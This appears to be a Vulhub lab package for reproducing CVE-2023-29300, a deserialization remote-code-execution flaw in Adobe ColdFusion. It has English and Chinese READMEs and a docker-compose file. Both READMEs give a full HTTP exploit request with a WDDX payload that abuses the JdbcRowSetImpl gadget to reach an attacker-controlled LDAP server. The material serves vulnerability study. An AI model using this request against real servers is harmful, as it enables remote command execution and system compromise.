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# Adobe ColdFusion XML Deserialization Leads to RCE (CVE-2023-29300)
[中文版本(Chinese version)](README.zh-cn.md)
Adobe ColdFusion is a commercial rapid web-application development computing platform created by J. J. Allaire in 1995.
Adobe ColdFusion versions 2018 Update 16 (and earlier), 2021 Update 6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a deserialization of untrusted data vulnerability. Attacker is able to call arbitrary setter function and execute arbitrary commands eventually.
References:
- <https://blog.projectdiscovery.io/adobe-coldfusion-rce/>
- <https://xz.aliyun.com/t/13413>
## Vulnerable environment
Start a Adobe ColdFusion 2018.0.15:
```
docker compose up -d
```
After a few minutes wait, visit `http://your-ip:8500/CFIDE/administrator/index.cfm` with password `vulhub`, you can install the Adobe ColdFusion successfully.
## Exploit
To exploit this issue, you have to find a valid gadget to execute arbitrary code in ColdFusion server. The most common gadget is `com.sun.rowset.JdbcRowSetImpl` that uses the JNDI injection to execute the command.
We utilize the [Java Chains](https://github.com/vulhub/java-chains) tool for vulnerability reproduction. To get started with Java Chains, please visit the [Quick Start](https://java-chains.vulhub.org/docs/guide) guide. Then, following the instructions in the screenshot below, generate a payload based on the `CommonsBeanutils1` exploit chain.
![](1.png)
Then, send the following request to ColdFusion server (replace with your LDAP server address):
```
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 333
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://your.ldap.server/example</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
```
As you can see, the `touch /tmp/success` is executed successfully:
![](2.png)

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# Adobe ColdFusion XML 反序列化命令执行漏洞CVE-2023-29300
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品其运行的CFMLColdFusion Markup Language是针对Web应用的一种程序设计语言。
Adobe ColdFusion在2018.0.16、2021.0.6、2023.0.0.330468版本及以前存在一处XML反序列化漏洞。攻击者可以利用该漏洞调用Java中任意setter方法最终执行任意命令。
参考链接:
- <https://blog.projectdiscovery.io/adobe-coldfusion-rce/>
- <https://xz.aliyun.com/t/13413>
## 漏洞环境
启动一个Adobe ColdFusion 2018.0.15服务器:
```
docker compose up -d
```
等待一段时间后环境启动成功,访问`http://your-ip:8500/CFIDE/administrator/index.cfm`,输入密码`vulhub`即可成功安装Adobe ColdFusion。
## 漏洞复现
要利用这个漏洞需要先找到一个可利用的setter方法作为Gadget。最常见的Gadget是利用`com.sun.rowset.JdbcRowSetImpl`来进行JNDI注入并执行任意命令。
我们使用 [Java Chains](https://github.com/vulhub/java-chains) 工具来进行漏洞复现,通过访问 [快速入手](https://java-chains.vulhub.org/zh/docs/guide) 来启动 Java Chains并根据下面截图的操作生成基于`CommonsBeanutils1`利用链的 payload
![](1.png)
然后将恶意LDAP地址替换到如下请求中发送
```
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 333
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://your.ldap.server/example</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
```
可见,`touch /tmp/success`已被成功执行:
![](2.png)

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services:
coldfusion:
image: vulhub/coldfusion:2018.0.15
ports:
- "8500:8500"
- "5005:5005"
environment:
- password=vulhub
- acceptEULA=YES